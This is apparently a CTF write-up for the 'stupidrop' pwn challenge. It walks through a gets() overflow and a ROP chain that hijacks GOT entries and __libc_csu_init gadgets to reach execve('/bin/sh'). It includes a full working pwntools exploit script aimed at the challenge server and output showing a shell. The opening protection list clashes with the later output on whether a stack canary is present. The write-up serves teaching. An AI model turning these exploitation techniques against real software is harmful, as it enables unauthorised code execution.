stupidrop
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
void main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
alarm(2);
gets(buffer);
}
So, we have an obvious buffer overflow here, but no possibility to leak anything and ASLR
is enabled for sure.
Since this is the only function in the binary, we also don’t have many libc functions we can abuse
objdump -TR stupidrop
stupidrop: file format elf64-x86-64
...
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000600ff8 R_X86_64_GLOB_DAT __gmon_start__
0000000000601048 R_X86_64_COPY stdout@@GLIBC_2.2.5
0000000000601018 R_X86_64_JUMP_SLOT alarm@GLIBC_2.2.5
0000000000601020 R_X86_64_JUMP_SLOT __libc_start_main@GLIBC_2.2.5
0000000000601028 R_X86_64_JUMP_SLOT gets@GLIBC_2.2.5
0000000000601030 R_X86_64_JUMP_SLOT setvbuf@GLIBC_2.2.5
This challenge could be solved only with these at hand (in fact, there’s a similar on pwnable.tw for example, which only provides gets
). But the challenge was made easier on purpose by forging one syscall
gadget into the code.
Though it’s never called, you can find it at 0x40063e
.
With syscall
, we could just start creating our ropchain and do an execve("/bin/sh", 0, 0)
, though you’ll face the problem how to set rax
to an arbitrary value.
To make this short: While the ctf was running I missed the fact that calling alarm
will set rax
to the value of the argument passed to it. That should be the intended way, because it’s way easier, than what I did here.
So, if you want to see the shortest and easiest solution to this task, go look somewhere else…
Since I missed the easy way out by using alarm
, I created an ropchain instead, which will also be able to set rax
to an arbitrary value, but in a bit more “creative” way.
For this let’s take a look at the assembly of main
:
push rbp
mov rbp, rsp
sub rsp, 30h
mov rax, cs:stdout
mov ecx, 0 ; n
mov edx, 2 ; modes
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setvbuf
mov edi, 2 ; seconds
call _alarm
lea rax, [rbp+var_30]
mov rdi, rax
mov eax, 0
call _gets
mov eax, 0
leave
retn
So, not much too work with, but we can abuse this code for setting rax
.
What I did there:
- Overwrite
setvbuf
got with a call toret
- Overwrite
alarm
got with a call topop rbp; ret
- Overwrite
stdout
pointer with 59 (execve syscall
) - In the ropchain jump to
mov rax, cs:stdout
What this will do:
mov rax, cs:stdout
Set rax
to 59
mov ecx, 0 ; n
mov edx, 2 ; modes
mov esi, 0 ; buf
mov rdi, rax ; stream
call _setvbuf
Set exc
to 0
, set edx
to 2
and esi
to 0
. It will then store the value of rax
into rdi
(so rdi
also contains 59).
It will then try to call setvbuf
, but since it’s now just a ret
call it will just continue with execution.
mov edi, 2 ; seconds
call _alarm
This will now set edi
to 2
and do a call alarm
, which will push the current address onto the stack (for returning after the call). But since we overwrote it with pop rbp; ret
it will just pop this return address and instead continue execution with the next address in our ropchain.
But now rax
will contain the value we wrote into stdout
, so it’s 59 now and we’re prepared to do an execve
syscall :)
Well, calling alarm
twice with 59
in rdi
might have been easier, but…
Though rax
now is set correctly, we’re facing another issue. rdx
is now set to 2
which will fail in execve
, since this will be the envptr
. And there’s no pop rdx
gadget to change this.
But there’s also help to this :)
There’s a nice gadget in __libc_csu_init
which will get us out of this misery:
0x400680
mov rdx, r13
mov rsi, r14
mov edi, r15d
call qword ptr [r12+rbx*8]
Not only will this help us setting rdx
, it also initializes rsi
and rdi
and does a call to r12+rbx*8
. Since rbx
is currently 0
, we can call whatever we want by setting r12
accordingly (we’ll just need a memory address where the address, we want to call, is stored, but gets
will also help on this).
So we can also use the pop gadget in __libc_csu_init
also to initialize r12
-r15
0x40069c
pop r12
pop r13
pop r14
pop r15
retn
So, with these tools we can forge the attack plan
- Store
/bin/sh
in bss - Store a pointer to the
syscall
gadget in bss - Overwrite
setvbuf
withret
- Overwrite
alarm
withpop rbp; ret
- Overwrite
stdout
with59
- Jump back into main, so the “setvbuf-alarm-rax-initialization-chain” gets triggered :)
- Call the r12-r15 initialization gadget and setup the registers
- Call the “calling” gadget from
__lib_csu_init
which will setuprdx
,rsi
,rdi
and then call the previously storedsyscall
gadget
Exploit for this
#!/usr/bin/python
from pwn import *
import sys
HOST = "104.196.127.247"
PORT = 5555
POPRDI = 0x00000000004006a3
POPRBP = 0x0000000000400560
SYSCALL = 0x000000000040063e
RET = 0x0000000000400289
POPR12131415 = 0x000000000040069c
CALLGAD = 0x400680
def read_into(address):
result = p64(POPRDI)
result += p64(address)
result += p64(e.plt["gets"])
return result
def exploit(r):
payload = "A"*56
payload += read_into(0x6010b0) # store /bin/sh
payload += read_into(0x601130) # store ptr to SYSCALL
payload += read_into(e.got["setvbuf"]) # overwrite setvbuf
payload += read_into(0x601048) # overwrite stdout ptr
payload += read_into(e.got["alarm"]) # overwrite alarm
payload += p64(POPRDI)
payload += p64(0x601500)
payload += p64(0x4005fe) # execute 'rax update'
payload += p64(POPR12131415)
payload += p64(0x601130) # ptr to syscall
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x6010b0) # /bin/sh
payload += p64(CALLGAD) # call execution gadget
r.sendline(payload)
# Send the data to answer the gets-calls from the ropchain
r.sendline("/bin/sh\x00") # store /bin/sh on bss
r.sendline(p64(SYSCALL)) # store ptr to syscall
r.sendline(p64(RET)) # overwrite setvbuf with ret
r.sendline(p64(59)) # overwrite stdout with execve syscall no
r.sendline(p64(POPRBP)) # overwrite alarm with popret
# enjoy shell
r.interactive()
return
if __name__ == "__main__":
e = ELF("./stupidrop")
if len(sys.argv) > 1:
r = remote(HOST, PORT)
exploit(r)
else:
r = process("./stupidrop")
print util.proc.pidof(r)
pause()
exploit(r)
python work.py
[*] '/vagrant/Challenges/inctf/pwn/stupidrop/stupidrop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './stupidrop': pid 1980
[1980]
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ whoami
vagrant
I know, there’s an easier solution to this challenge, just wanted to show this alternative way of setting rax (which might get handy if there’s no alarm
but another call, that can be overwritten).